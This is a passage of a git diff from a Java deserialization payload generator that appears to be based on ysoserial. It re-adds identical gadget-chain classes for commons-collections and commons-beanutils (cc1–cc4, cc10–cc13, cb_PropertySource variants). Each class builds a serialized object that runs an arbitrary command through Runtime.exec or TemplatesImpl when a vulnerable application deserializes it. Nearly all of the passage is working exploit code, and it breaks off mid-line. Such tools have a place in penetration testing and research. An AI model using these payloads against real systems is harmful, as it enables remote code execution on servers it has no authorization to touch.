com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; - -@SuppressWarnings({"rawtypes", "unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) -@Authors({"SummerSec"}) -public class cb_PropertySource183 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Object template; - template = Gadgets.createTemplatesImpl(command); - PropertySource propertySource1 = () -> 0; - - Comparator beanComparator = cb_AttrCompare183.getCbSink_2(); - Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator()); - - return getCbSink_3(beanComparator, propertySource1, template); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.logging.log4j.util.PropertySource; + +import java.util.Comparator; + +import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) +@Authors({"SummerSec"}) +public class cb_PropertySource183 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + PropertySource propertySource1 = () -> 0; + + Comparator beanComparator = cb_AttrCompare183.getCbSink_2(); + Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator()); + + return getCbSink_3(beanComparator, propertySource1, template); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource192.java b/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource192.java index 3a6cb26..d06555a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource192.java @@ -1,35 +1,35 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.beanutils.BeanComparator; -import org.apache.logging.log4j.util.PropertySource; - -import java.util.PriorityQueue; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) -@Authors({"SummerSec"}) -public class cb_PropertySource192 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Object template; - template = Gadgets.createTemplatesImpl(command); - PropertySource propertySource1 = () -> 0; - - BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator()); - - PriorityQueue queue = new PriorityQueue(2, beanComparator); - - queue.add(propertySource1); - queue.add(propertySource1); - - Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); - Reflections.setFieldValue(beanComparator, "property", "outputProperties"); - - return queue; - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.logging.log4j.util.PropertySource; + +import java.util.PriorityQueue; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({"SummerSec"}) +public class cb_PropertySource192 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + PropertySource propertySource1 = () -> 0; + + BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(propertySource1); + queue.add(propertySource1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc1.java b/src/main/java/com/qi4l/JYso/gadgets/cc1.java index 26f5c9b..805aaf6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc1.java @@ -1,68 +1,68 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.map.LazyMap; - -import java.lang.reflect.InvocationHandler; -import java.util.HashMap; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy; - -/** - * Gadget chain: - * ObjectInputStream.readObject() - * AnnotationInvocationHandler.readObject() - * Map(Proxy).entrySet() - * AnnotationInvocationHandler.invoke() - * LazyMap.get() - * ChainedTransformer.transform() - * ConstantTransformer.transform() - * InvokerTransformer.transform() - * Method.invoke() - * Class.getMethod() - * InvokerTransformer.transform() - * Method.invoke() - * Runtime.getRuntime() - * InvokerTransformer.transform() - * Method.invoke() - * Runtime.exec() - *

- * Requires: - * commons-collections - */ - -@SuppressWarnings({"rawtypes", "unchecked", "unused"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.FROHOFF}) -public class cc1 implements ObjectPayload { - - @Override - public Object getObject(String command) throws Exception { - - final Transformer transformerChain = new ChainedTransformer( - new Transformer[]{new ConstantTransformer(1)}); - // real chain for after setup - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - - return get_CC_Sink(transformerChain, transformers); - } - - static Object get_CC_Sink(Transformer transformerChain, Transformer[] transformers) throws Exception { - final Map innerMap = new HashMap(); - final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class); - final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); - - Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化 - - return handler; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * AnnotationInvocationHandler.readObject() + * Map(Proxy).entrySet() + * AnnotationInvocationHandler.invoke() + * LazyMap.get() + * ChainedTransformer.transform() + * ConstantTransformer.transform() + * InvokerTransformer.transform() + * Method.invoke() + * Class.getMethod() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.getRuntime() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + *

+ * Requires: + * commons-collections + */ + +@SuppressWarnings({"rawtypes", "unchecked", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.FROHOFF}) +public class cc1 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + return get_CC_Sink(transformerChain, transformers); + } + + static Object get_CC_Sink(Transformer transformerChain, Transformer[] transformers) throws Exception { + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化 + + return handler; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc10.java b/src/main/java/com/qi4l/JYso/gadgets/cc10.java index 614d36e..d28b4f7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc10.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc10.java @@ -1,43 +1,43 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.FactoryTransformer; -import org.apache.commons.collections.functors.InstantiateFactory; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import javax.xml.transform.Templates; -import java.util.HashMap; -import java.util.Map; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-collections:commons-collections:3.2.1"}) -public class cc10 implements ObjectPayload { - public Object getObject(String command) throws Exception { - final Object templates; - - templates = Gadgets.createTemplatesImpl(command); - - // 使用 InstantiateFactory 代替 InstantiateTransformer - InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); - FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); - - // 先放一个无关键要的 Transformer - ConstantTransformer constantTransformer = new ConstantTransformer(1); - Map innerMap = new HashMap(); - LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer); - TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); - Map expMap = new HashMap(); - expMap.put(tme, "QI5L"); - - Reflections.setFieldValue(outerMap, "factory", factoryTransformer); - - outerMap.remove("QI4L"); - - return expMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.FactoryTransformer; +import org.apache.commons.collections.functors.InstantiateFactory; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.xml.transform.Templates; +import java.util.HashMap; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +public class cc10 implements ObjectPayload { + public Object getObject(String command) throws Exception { + final Object templates; + + templates = Gadgets.createTemplatesImpl(command); + + // 使用 InstantiateFactory 代替 InstantiateTransformer + InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); + FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); + + // 先放一个无关键要的 Transformer + ConstantTransformer constantTransformer = new ConstantTransformer(1); + Map innerMap = new HashMap(); + LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); + expMap.put(tme, "QI5L"); + + Reflections.setFieldValue(outerMap, "factory", factoryTransformer); + + outerMap.remove("QI4L"); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc11.java b/src/main/java/com/qi4l/JYso/gadgets/cc11.java index 73ff144..1f1e276 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc11.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc11.java @@ -1,43 +1,43 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.InvokerTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.util.HashMap; -import java.util.Map; - - -/** - * RMIConnector 二次反序列化 - * 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer - * 直接传入 Base64 编码的序列化数据即可 - */ - -@SuppressWarnings({"unchecked","unused"}) -@Dependencies({"commons-collections:commons-collections:3.2.1"}) -@Authors({Authors.QI4L}) -public class cc11 implements ObjectPayload { - - @Override - public Object getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); - HashMap map = new HashMap<>(); - Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); - TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); - HashMap expMap = new HashMap<>(); - expMap.put(tiedMapEntry, "QI4L"); - lazyMap.remove(templates); - - Reflections.setFieldValue(lazyMap, "factory", invokerTransformer); - - return expMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + + +/** + * RMIConnector 二次反序列化 + * 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer + * 直接传入 Base64 编码的序列化数据即可 + */ + +@SuppressWarnings({"unchecked","unused"}) +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({Authors.QI4L}) +public class cc11 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); + HashMap map = new HashMap<>(); + Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); + HashMap expMap = new HashMap<>(); + expMap.put(tiedMapEntry, "QI4L"); + lazyMap.remove(templates); + + Reflections.setFieldValue(lazyMap, "factory", invokerTransformer); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc12.java b/src/main/java/com/qi4l/JYso/gadgets/cc12.java index 4b92e75..b458075 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc12.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc12.java @@ -1,42 +1,42 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.DefaultedMap; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -@SuppressWarnings({"rawtypes", "unused"}) -@Dependencies({"commons-collections:commons-collections:3.2.1"}) -@Authors({Authors.Jayl1n}) -public class cc12 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Transformer transformerChain = new ChainedTransformer( - new Transformer[]{new ConstantTransformer(1)}); - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - final Map innerMap = new HashMap(); - final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); - - TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo"); - - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, entry); - - // arm with actual transformer chain - Reflections.setFieldValue(transformerChain, "iTransformers", transformers); - - return val; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.DefaultedMap; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({Authors.Jayl1n}) +public class cc12 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo"); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, entry); + + // arm with actual transformer chain + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + return val; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc13.java b/src/main/java/com/qi4l/JYso/gadgets/cc13.java index 8847506..1449d44 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc13.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc13.java @@ -1,35 +1,35 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantFactory; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.util.HashMap; -import java.util.Map; - -@SuppressWarnings({"rawtypes", "unused"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.UNAM4}) -public class cc13 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - Transformer transformerChain = new ChainedTransformer(transformers); - Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); - TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1); - HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry); - - Reflections.setFieldValue(decorate, "factory", transformerChain); - Reflections.setFieldValue(tiedMapEntry, "key", 233); - - return hashMap; - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantFactory; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.UNAM4}) +public class cc13 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(transformers); + Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1); + HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry); + + Reflections.setFieldValue(decorate, "factory", transformerChain); + Reflections.setFieldValue(tiedMapEntry, "key", 233); + + return hashMap; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc2.java b/src/main/java/com/qi4l/JYso/gadgets/cc2.java index 3e92dd6..327bafe 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc2.java @@ -1,33 +1,33 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.collections4.comparators.TransformingComparator; -import org.apache.commons.collections4.functors.InvokerTransformer; - -import java.util.PriorityQueue; -import java.util.Queue; - - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"org.apache.commons:commons-collections4:4.0"}) -@Authors({Authors.FROHOFF}) -public class cc2 implements ObjectPayload> { - - public Queue getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer)); - queue.add(1); - queue.add(1); - - Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); - Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); - - return queue; - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import java.util.PriorityQueue; +import java.util.Queue; + + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({Authors.FROHOFF}) +public class cc2 implements ObjectPayload> { + + public Queue getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer)); + queue.add(1); + queue.add(1); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc3.java b/src/main/java/com/qi4l/JYso/gadgets/cc3.java index 542e927..3c7169c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc3.java @@ -1,49 +1,49 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.InstantiateTransformer; - -import javax.xml.transform.Templates; - -import static com.qi4l.JYso.gadgets.cc1.get_CC_Sink; - - -/** - * Variation on CommonsCollections1 that uses InstantiateTransformer instead of - * InvokerTransformer. - */ - -@SuppressWarnings({"restriction", "unused"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.FROHOFF}) -public class cc3 implements ObjectPayload { - - public static boolean isApplicableJavaVersion() { - return JavaVersion.isAnnInvHUniversalMethodImpl(); - } - - public Object getObject(String command) throws Exception { - final Object templatesImpl; - templatesImpl = Gadgets.createTemplatesImpl(command); - - - // inert chain for setup - final Transformer transformerChain = new ChainedTransformer( - new Transformer[]{new ConstantTransformer(1)}); - // real chain for after setup - final Transformer[] transformers = new Transformer[]{ - new ConstantTransformer(TrAXFilter.class), - new InstantiateTransformer( - new Class[]{Templates.class}, - new Object[]{templatesImpl})}; - - return get_CC_Sink(transformerChain, transformers); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; + +import javax.xml.transform.Templates; + +import static com.qi4l.JYso.gadgets.cc1.get_CC_Sink; + + +/** + * Variation on CommonsCollections1 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ + +@SuppressWarnings({"restriction", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.FROHOFF}) +public class cc3 implements ObjectPayload { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + + public Object getObject(String command) throws Exception { + final Object templatesImpl; + templatesImpl = Gadgets.createTemplatesImpl(command); + + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[]{Templates.class}, + new Object[]{templatesImpl})}; + + return get_CC_Sink(transformerChain, transformers); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc4.java b/src/main/java/com/qi4l/JYso/gadgets/cc4.java index 080b84a..c1b97d8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4.java @@ -1,56 +1,56 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; -import org.apache.commons.collections4.comparators.TransformingComparator; -import org.apache.commons.collections4.functors.ChainedTransformer; -import org.apache.commons.collections4.functors.ConstantTransformer; -import org.apache.commons.collections4.functors.InstantiateTransformer; - -import javax.xml.transform.Templates; -import java.util.PriorityQueue; -import java.util.Queue; - - -/** - * Variation on CommonsCollections2 that uses InstantiateTransformer instead of - * InvokerTransformer. - */ - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"org.apache.commons:commons-collections4:4.0"}) -@Authors({Authors.FROHOFF}) -public class cc4 implements ObjectPayload> { - - public Queue getObject(String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); - - ConstantTransformer constant = new ConstantTransformer(String.class); - - // mock method name until armed - Class[] paramTypes = new Class[]{String.class}; - Object[] args = new Object[]{Utils.generateRandomString(4)}; - InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args); - - // grab defensively copied arrays - paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); - args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); - - ChainedTransformer chain = new ChainedTransformer(constant, instantiate); - - // create queue with numbers - PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); - queue.add(1); - queue.add(1); - - // swap in values to arm - Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); - paramTypes[0] = Templates.class; - args[0] = templates; - - return queue; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import javax.xml.transform.Templates; +import java.util.PriorityQueue; +import java.util.Queue; + + +/** + * Variation on CommonsCollections2 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({Authors.FROHOFF}) +public class cc4 implements ObjectPayload> { + + public Queue getObject(String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + ConstantTransformer constant = new ConstantTransformer(String.class); + + // mock method name until armed + Class[] paramTypes = new Class[]{String.class}; + Object[] args = new Object[]{Utils.generateRandomString(4)}; + InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args); + + // grab defensively copied arrays + paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); + args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); + + ChainedTransformer chain = new ChainedTransformer(constant, instantiate); + + // create queue with numbers + PriorityQueue queue = new PriorityQueue(2, new 